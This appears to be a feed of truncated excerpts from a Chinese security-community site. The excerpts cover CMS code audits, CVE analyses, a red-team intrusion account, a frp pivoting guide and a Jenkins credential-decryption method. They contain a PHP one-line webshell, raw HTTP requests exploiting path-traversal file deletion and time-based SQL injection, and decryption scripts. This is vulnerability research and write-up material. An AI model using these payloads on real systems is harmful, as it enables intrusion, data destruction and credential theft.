执行sql文件
在数据库配置文件中配置数据库
测试连接
http://localhost/id_generator/admin/login.php
登录
代码审计
文件上传
/id_generator/admin/generate/user/index.php 80行
81行前端上传了文件
/id_generator/admin/generate/index.php 89行
89行displayImg方法定义了上传的文件名,文件上传时对文件类型没有做限制导致了文件上传漏洞的产生。
SQL注入
后台登录
定位到代码路径classes\Login.php
在POST登录的时候单引号闭合造成SQL注入。
漏洞详情
http://localhost/id_generator/admin/?page=user
文件上传位置为用户个人管理的头像上传的位置
这里直接上传php文件,上传一句话木马
<?php @eval($_POST[‘a’]);?>
上传成功后查看用户头像地址访问
执行命令获取shell权限
EXP:
POST /id_generator/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-
2024年1月12日 11:27 火线zone
‍
https://github.com/flusity/flusity-CMS/archive/refs/tags/v2.325.zip
未授权任意文件删除
‍
POST /cover/addons/jd_simple_zer/action/edit_addon_post.php HTTP/1.1 Host: flusitycms.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 23 db_img_name=../../1.txt
flusity-CMS-2.33\cover\addons\jd_simple_zer\action\edit_addon_post.php
通过 POST 方法获取参数 $db_img_name 未经校验就拼接到参数 $old_selected_file 中,最后调用函数 unlink 来对文件进行删除,所以可以跨目录的删除任意文件。
‍
GET /core/tools/delete_backup.php?file=../../1.txt HTTP/1.1 Host: flusitycms.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chr
2024年1月7日 11:31 火线zone
自从火线Zone征稿奖励方案发布后,收到了许多大佬们的优质投稿。为了感谢各位大表哥们的热情支持,我们将10月份投稿文章奖励进行公示,希望更多大佬们能够积极在社区内发表原创技术文章,与更多技术专家们共同探讨技术话题。
12月投稿文章公示:
仅统计公示时发稿≥7天的文章,发表时长不足7天的文章在下一周期的统计中公示
本次统计周期:12.01-12.31

投稿文章:
Apache Struts2 文件上传分析(S2-066) 作者:lyy https://zone.huoxian.cn/d/2869-apache-struts2-s2-066
CSZCMS 审计小结 作者:GoTTY https://zone.huoxian.cn/d/2870-cszcms
Apache DolphinScheduler 未授权任意文件读取 CVE-2022-26884 作者:GoTTY https://zone.huoxian.cn/d/2871-apache-dolphinscheduler-cve-2022-26884
最新frp v0.53.2双层代理socks5+proxifier实现内网穿透 作者:Buckeye https://zone.huoxian.cn/d/2874-frp-v0532socks5proxifier
优秀文章:
实战|记一次从Nacos拓展至重大成果 作者:和 https://zone.huoxian.cn/d/2872-nacos
精华文章:
记一次日常渗透发现jenkins备份文件后的渗透测试 作者:大反派 https://zone.huoxian.cn/d/2873-jenkins
2024年1月4日 08:31 火线zone
公司简介:上海星海数智信息技术有限公司
我们是一家成立了半年多的大模型创业公司。我们以实现AGI为目标和愿景,致力于研发下一代视觉、听觉、文字、代码统一多模态大模型,以通用AI造福社会。我们是国内AI技术最强,融资额最高的团队之一。公司核心团队拥有十年以上深度学习前沿研究与工程落地经验,获十余项国际比赛冠军;曾主持完成多项亿级别AI项目落地与交付。我们已经有模型在多项任务上达到了显著领先国内竞品的水平。
工作地点:上海徐汇or北京海淀
薪资待遇:30-45k*14
简历投递邮箱:aa.ss.harold@gmail.com
工作职责:
负责SDL体系建设,落地自动化扫描和卡点能力;
负责应用系统上线、重要变更前的应用安全测试;
负责缓解LLM应用的代码执行、沙盒逃逸、资源滥用、数据安全等安全风险。
任职要求:
具备3-5年大中型互联网公司应用安全工作经验;
熟悉DevSecOps、云原生安全相关技术栈;
熟悉主流应用框架、API、前端、业务逻辑等层面的安全漏洞;
熟悉Golang、Python、Java、Javascript等编程语言;
本科及以上学历。
加分项:
熟悉OWASP Top 10 for LLM。
2024年1月3日 16:01 火线zone
Stupid-Simple-CMS 审计笔记
‍
未授权任意文件删除
‍
POST /file-manager/delete.php HTTP/1.1 Host: stupidsimplecms.test Content-Length: 14 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" Accept: */* X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/file-manager/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close file=shell.php
未授权任意文件读取
POST /file-manager/rename.php HTTP/1.1 Host: stupidsimplecms.test Content-Length: 41 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" Accept: */* X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Content-Type: applic
2023年12月30日 23:31 火线zone
众所周知从 v0.52.0 开始frp将支持 TOML、YAML 和 JSON 进行配置并将INI弃用,那INI被弃用的以前的配置语法也被一起弃用了,这里将使用最新版本的frp将内网流量代理出来并通过proxifier实现双层代理,仅供各位大佬参考。

首先当然是下载最新版本的frp,这里选择的是windows+linux的版本

接下来修改frpc.toml配置文件,全面的语法可以参考官方的
`serverAddr = "1.2.3.4" #[必选]服务器ip地址/域名
serverPort = 7000 # [必选] 要连接的 frps 端口
transport.protocol = "kcp" #传输协议选择(除tcp以外的协议要填)
auth.token = "password" #与服务端校验的令牌(需一致)
transport.tcpMux = true #tcp流多路复用(优化传输,需一致)
示例
[[proxies]]
name = "web" # 代理名称(随便填)
type = "tcp" # 代理类型
localIP = "192.168.0.105" # 代理地址, 要转发到哪个地址
localPort = 5500 # 代理端口, 要转发到哪个端口
remotePort = 7001 # 远程端口(和远程 frps 哪个端口绑定在一起, 访问对应端口将使用该代理)
[proxies.plugin]
type = "socks5" #plugin = socks5已经弃用了
`
由于socks5原语法已经弃用,我们得根据官方文档找到新的语法,更多详细内容参考官方文档
frps.toml配置文件
`bindPort = 7000 #{必选} 客户端与该端口建立连接
log.to = "console" #{可选} 日志配置, 通过打印的方式输出日志
vhostHTTPPort = 7100 #{可选} http代理需要,当访问该端口时跳到对应本地frpc代理
vhostHTTPSPort = 7200 #{可选} https代理需要,当访问该端口时跳到对应本地frpc代理
transport.tcpMux = true #tcp流多路复用(优化传输,需一致)
#身份验证
auth.method = "token" #{可选}身份验证方式
auth.token = "password" #to
2023年12月27日 17:31 火线zone
0x01 背景描述
在一次渗透测试过程中,首先发现了Grafana弱口令,登录进去发现了存在存储桶目录,访问存储桶发现存在目录遍历,里面发现存在jar包,打开jar包,发现存在AKSK,通过AKSK获取存储桶权限,通过存储桶信息收集,发现存在Jenkins备份包。
0x02 信息收集
下载源码

通过在网上搜索信息,发现credentials.xml存放密码文件
打开发现


确实存在一行加密的密码字段。
然后理所应当的就思考,思考尝试解密
“遇事不决,可问春风”

然后根据网上找到的策略
0x03 方法策略
1.搭建环境,通过脚本命令行,进行查看所有凭据。
com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{ it.properties.each { prop, val -> println(prop + ' = "' + val + '"') } println("-----------------------") }
借用网上的图,这一步我自己搭建的环境有问题哈哈哈

或者可以手动获取凭据

然后通过脚本命令行进行解密
println(hudson.util.Secret.fromString("{刚刚复制的加密密码}").getPlainText())

但是实际搭建环境,运行出错,这里思考两点,可能版本不对,但是我换了3个版本出错,有明白的大佬,欢迎评论指出,向大佬学习。


2.然后就开始了换一种方式,编写解密代码,进行解密
首先我们要搞清楚需要那些文件
通过上面1进行解密的语句,已经网上查找,都是通过调用credentials.xml、masterkey 、shudson.util.Secret这三个文件
credentials.xml,存放密码hash的地方
masterkey,需要key存放,进行匹配
shudson.util.Secret,组件调用
进行idea选择项目,选择mvean项目

然后运行会发现缺少依赖包,在pom.xml,查看是否写入依赖


package com.Jenkins; import org.apache.commons.io.IOUtils; import javax.crypto.BadPaddingException
2023年12月23日 19:31 火线zone
前言
前一段时间刚打了某省的某网的一个攻防演练,真就离谱,某大厂在前期不讲武德在攻防演练前期在(全是BJing的出口地址,移动热点或者住宅用户)通过某中间件弱口令进入后台,后台文件上传获取shell提前放入HM这本身就离谱,这个还是结束后参加了一个应急经过溯源分析发现的,这刚刚好就能解释清楚为什么某队在开局半小时直接突破边界进入业务内网。其实这种情况经常参加RedTeam的兄弟们也经常见,更z的套路也会存在,不过还是忍不住想吐槽一波。
信息搜集
某网的段儿其实很明显,不考虑ip封禁的话其实这边儿我们考虑的还是批量扫描,以shiro、struts2为主,整个信息搜集的工作进行了开局的头两天,其实基本上没有收获,基本上都是一些业务系统的弱口令,涉及的数据量其实也不是很大,加起来也就十几W,就数据分来讲也很难算是什么成果,业务功能都比较简单,都是一些增删改查,所以没有shell。
忽略的8848端口
进行了基本上三轮的信息搜集,基本上没有进度,然后在互联网的大B段发现了一个8848的nacos弱口令,检测无nacos反序列化rce,但是在配置列表存在多个“Data ID”,导出配置文件
在配置文件中发现大量的配置,包括MQTT、ActiveMQ消息队列、Redis连接配置文件以及Mysql配置文件等
连接消息队列
连接MQTT队列接受消息
连接redis缓存查看缓存数据库数据
获取到大量敏感数据。发现外联数据库,阿里云主机
测试连接没问题,登录数据库,发现数据库中有我们想要的数据,数据量100W+
且还发现该数据库涉及第三方运维公司部分网站数据库,且可控制该运维公司的官网,
且该数据库中含有第三方运维公司的oa系统的数据。在该数据库中存在一个数据库***-config,第三方数据中包含其所有运维甲方的设备的账号密码
通过配置文件数据库发现到我们做信息搜集没发现的一些网站,为避免被指纹识别,这里我放上登录后的页面
通过配置文件,发现互联网的一个网站可登录,后台存在rce点
通过执行命令,获取反弹的shell
该机器涉及的内网网段是我们想要的网段。
内网横向
该机器不出网,写入webshell,端口转发到本地,利用webshell上传工具,进行内网扫描
上传fscan,搜集所有的内网网段的信息,
此外发现内网存在大量的nacos服务的网站,同理通过配置文件,实现了对目标靶机的控制。
总结
红队不单单拼day,本质还是信息搜
2023年12月23日 19:31 火线zone
漏洞简介
Apache DolphinScheduler是美国阿帕奇(Apache)基金会的一个分布式的基于DAG可视化的工作流任务调度系统。
Apache DolphinScheduler 2.0.6之前版本存在路径遍历漏洞,该漏洞源于用户可以通过日志服务器读取任何文件。
环境搭建
还是利用 docker 来进行环境的搭建操作
https://dolphinscheduler.apache.org/en-us/docs/2.0.5/guide/installation/docker
修改一下 docker-compose.yml 文件 使得 50051 端口也映射出来
我们看到其中数据库连接的字符串可控
<mysql.connector.version>8.0.16</mysql.connector.version> <postgresql.version>42.2.5</postgresql.version> 恰好不在pgjdbc漏洞范围内
‍
漏洞分析
‍
https://github.com/apache/dolphinscheduler/commit/adc223465b5b83a9446dfc809ae98cf4bbfaadce
通过对比查看修复代码 我们可以定位到漏洞可能存在的位置
‍
org.apache.dolphinscheduler.server.log.LoggerRequestProcessor#process
根据传入的 command 的 type 对应不同的操作
org.apache.dolphinscheduler.common.utils.LoggerUtils#readWholeFileContent
所以目前的问题就是要想办法触发 LoggerRequestProcessor.process
‍
org.apache.dolphinscheduler.remote.processor.NettyRequestProcessor
‍

public void testRollViewLog() throws IOException { logClientService = new LogClientService(); String resultTmpDemoString = logClientService.rollViewLog( "192.168.184.1", Con
2023年12月23日 19:31 火线zone
通过审计代码发现在 cszcms/controllers/admin/Plugin_manager.php 模块下 存在 SQL 注入的问题
\Plugin_manager::setstatus
问题代码主要出现在这一步
$status = $this->Csz_model->getValue('plugin_active', 'plugin_manager', "plugin_config_filename != '' AND plugin_manager_id = '".$this->uri->segment(4)."'", '', 1);
通过 url 获取得到的第四个参数在未经处理的情况下直接拼接到 SQL 语句中,所以我们构造数据包
将
payload: 'or(sleep(5))#
进行 url 编码
payload: %27%6f%72%28%73%6c%65%65%70%28%35%29%29%23
GET /index.php/admin/Plugin_manager/setstatus/%27%6f%72%28%73%6c%65%65%70%28%35%29%29%23 HTTP/1.1 Host: cszcms.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://cszcms.test/index.php/admin?nocache=1702645352 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: 571817370415e423ef2493316eee4059_cszsess=rfnaieun2j3n9lvg430
2023年12月15日 10:31 火线zone
漏洞描述
Apache Struts 是一个开源的、用于构建企业级Java Web应用的MVC框架。2023年12月,官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞。攻击者可以通过污染相关上传参数导致目录遍历,在具体代码环境中可能导致上传webshell,执行任意代码
影响版本
Struts 2.0.0 - Struts 2.3.37
Struts 2.5.0- Struts 2.5.32
Struts 6.0.0- Struts 6.3.0
漏洞复现
web.xml
<filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>*.action</url-pattern> </filter-mapping>
struts.xml
<package name="upload" extends="struts-default"> <action name="upload" class="org.example.UploadAction" method="doUpload"> <result name="success" type="">/WEB-INF/jsp/index.jsp</result> </action> </package>
UploadAction
package org.example; import com.opensymphony.xwork2.ActionSupport; import org.apache.commons.io.FileUtils; import org.apache.struts2.ServletActionContext; import java.io.File; public class UploadAction extends ActionSupport { private static final long serialVersionUID = 1L; private 
2023年12月12日 11:31 火线zone
自从火线Zone征稿奖励方案发布后,收到了许多大佬们的优质投稿。为了感谢各位大表哥们的热情支持,我们将10月份投稿文章奖励进行公示,希望更多大佬们能够积极在社区内发表原创技术文章,与更多技术专家们共同探讨技术话题。
11月投稿文章公示:
仅统计公示时发稿≥7天的文章,发表时长不足7天的文章在下一周期的统计中公示
本次统计周期:10.26-11.30
征稿奖励方案请参见:
https://zone.huoxian.cn/d/2699-zone 更新奖励计划
奖励发放说明
符合文章激励的内容将会同步对外发表在【火线Zone】公众号上。
每月最后一个周一统一发放本月投稿奖励,如对奖励有异议请及时联系#火线小助手#。
投稿文章
Kubernetes ingress-nginx RCE 漏洞分析(一) 作者:Zongzi https://zone.huoxian.cn/d/2861-kubernetes-ingress-nginx-rce
XSS漏洞一个不行再来一个?双标签弹xssBug有点意思........ 作者:ZOOK123 https://zone.huoxian.cn/d/2865-xssxssbug
原创文章
压缩包上传解压导致的漏洞思考 作者:火线用户19f16b https://zone.huoxian.cn/d/2857
优秀文章
MaxSite CMS 审计笔记 作者:GoTTY https://zone.huoxian.cn/d/2862-maxsite-cms
RedTeam|记一次由FireWall突破的实战 作者:和 https://zone.huoxian.cn/d/2864-redteamfirewall
Day_ChurchCRM--CMS--SQL注入审计小计 作者:和 https://zone.huoxian.cn/d/2866-day-churchcrm-cms-sql